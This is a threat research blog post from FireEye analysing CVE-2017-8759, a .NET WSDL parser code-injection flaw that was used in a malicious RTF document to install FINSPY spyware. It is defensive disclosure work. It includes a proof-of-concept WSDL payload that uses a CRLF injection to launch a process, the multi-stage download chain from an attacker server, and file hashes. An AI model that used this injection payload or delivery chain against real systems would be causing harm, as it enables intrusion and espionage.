Threat Research

FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY,FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY

September 12, 2017 | by Genwei Jiang, Ben Read, James T. Bennett

ZERO-DAY VULNERABILITY | FLARE | 0-DAY

FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. Mandiant analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.

FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here.

FireEye email, endpoint and network products detected the malicious documents.

Vulnerability Used to Target Russian Speakers

The malicious document, "Проект.doc" (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5).

FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a "lawful intercept" capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye's Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017.

CVE-2017-8759 WSDL Parser Code Injection

A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method (http://referencesource.microsoft.com/ - System.Runtime.Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1.

```
for (int i = 0; i < _connectURLs.Count; i++)
{
  sb.Length = 0;
  sb.Append(intend2);
  if (i == 0)
  {
    sb.Append("base.ConfigureProxy(this.GetType(), ");
    sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i]));
    sb.Append(");");
  }
  else
  {
    // Only the first location is used, the rest are commented out in the proxy
    sb.Append("//base.ConfigureProxy(this.GetType(), ");
    sb.Append(WsdlParser.IsValidUrl((string)_connectURLs[i]));
    sb.Append(");");
  }
  textWriter.WriteLine(sb);
}
```

Figure 1: Vulnerable WSDL Parser

When multiple *address* definitions are provided in a SOAP response, the code inserts the "//base.ConfigureProxy(this.GetType()," string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack validation of CRLF, a System.Diagnostics.Process.Start method call is injected. The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL.

```
    <service name="Service">
        <port name="Port" binding="tns:Binding">
            <soap:address location="http://localhost?C:\Windows\System32\calc.exe?011"/>
            <soap:address location="
        System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
        //"/>
        </port>
    </service>
</definitions>
    - 898 office2.png    nXML
    public class Image : System.Runtime.Remoting.Services.RemotingClientProxy
    {
        // Constructor
        public Image()
        {
            base.ConfigureProxy(this.GetType(), @"http://localhost?C:\Windows\System32\calc.exe?011");
            //base.ConfigureProxy(this.GetType(), @";
        System.Diagnostics.Process.Start(_url.Split('?')[1], _url.Split('?')[2]);
    //");
        }
```

Figure 2: SOAP definition VS Generated code

The In-the-Wild Attacks

The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE-2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3).

```
0840h: 19 7F D2 11 97 8E 00 00 F8 75 7E 2A 00 00 00 00  ..Ò.—Ž..øu~*....
0850h: 70 01 00 00 77 00 73 00 64 00 6C 00 3D 00 68 00  p...w.s.d.l.=.h.
0860h: 74 00 74 00 70 00 3A 00 2F 00 2F 00 58 00 58 00  t.t.p.:././.X.X.
0870h: 2E 00 58 00 58 00 58 00 2E 00 58 00 58 00 58 00  ..X.X.X...X.X.X.
0880h: 2E 00 58 00 58 00 58 00 2F 00 69 00 6D 00 67 00  ..X.X.X./.i.m.g.
0890h: 2F 00 6F 00 66 00 66 00 69 00 63 00 65 00 2E 00  /.o.f.f.i.c.e...
08A0h: 70 00 6E 00 67 00 00 00 00 00 00 00 00 00 00 00  p.n.g...........
```

Figure 3: SOAP Moniker

The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System.Runtime.Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage. Figure 4 shows an example library loaded as a result of exploitation.

```
0:000> lmvm http10[redacted] img0office4png
start    end        module name
70b70000 70b78000   http10[redacted] img0office4png   (deferred)
    Image path: http100[redacted]img0office4png.dll
    Image name: http100[redacted]img0office4png.dll
    Has CLR image header, track-debug-data flag not set
    Timestamp:        Thu Aug 24 23:21:28 2017 (599EEEF8)
    CheckSum:         00000000
    ImageSize:        00008000
    File version:     0.0.0.0
    Product version:  0.0.0.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0000.04b0
    InternalName:     http100[redacted]img0office4png.dll
    OriginalFilename: http100[redacted]img0office4png.dll
```

Figure 4: DLL loaded

Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named "word.db" from the same server. The HTA script removes the source code, compiled DLL and the PDB files from disk and then downloads and executes the FINSPY malware named "left.jpg," which in spite of the .jpg extension and "image/jpeg" content-type, is actually an executable. Figure 5 shows the details of the PCAP of this malware transfer.

#	Result	Pro...	Host	URL	Body	C...	Content-Type	P..	Comments
8	200	HTTP	91.219....	/img/office.png	1,065		image/png		SOAP WSDL response
10	200	HTTP	91.219....	/img/word.db	3,007				hta response
11	200	HTTP	91.219....	/img/left.jpg	1,383,424		image/jpeg		malware

Figure 5: Live requests

The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[6 random numbers].exe. Figure 6 shows the process create chain under Process Monitor.

Process Name	PID	Operation	Path	Result
Explorer.EXE	2464	Process Create	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	SUCCESS
WINWORD.EXE	3596	Process Create	C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
csc.exe	972	Process Create	C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe	SUCCESS
WINWORD.EXE	3596	Process Create	C:\Windows\System32\mshta.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
powershell.exe	2868	Process Create	C:\Windows\system32\taskkill.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\cmd.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
mshta.exe	3108	Process Create	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS
csrss.exe	376	Process Create	C:\Windows\system32\conhost.exe	SUCCESS
cmd.exe	584	Process Create	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	SUCCESS
mshta.exe	3108	Process Create	C:\Users\test7\AppData\Roaming\Microsoft\Windows\OfficeUpdte-KB888330.exe	SUCCESS

Figure 6: Process Created Chain

The Malware

The "left.jpg" (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0".

Conclusion

CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to "lawful intercept" companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets.

It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors.

Acknowledgement

Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue.

PREVIOUS POST NEXT POST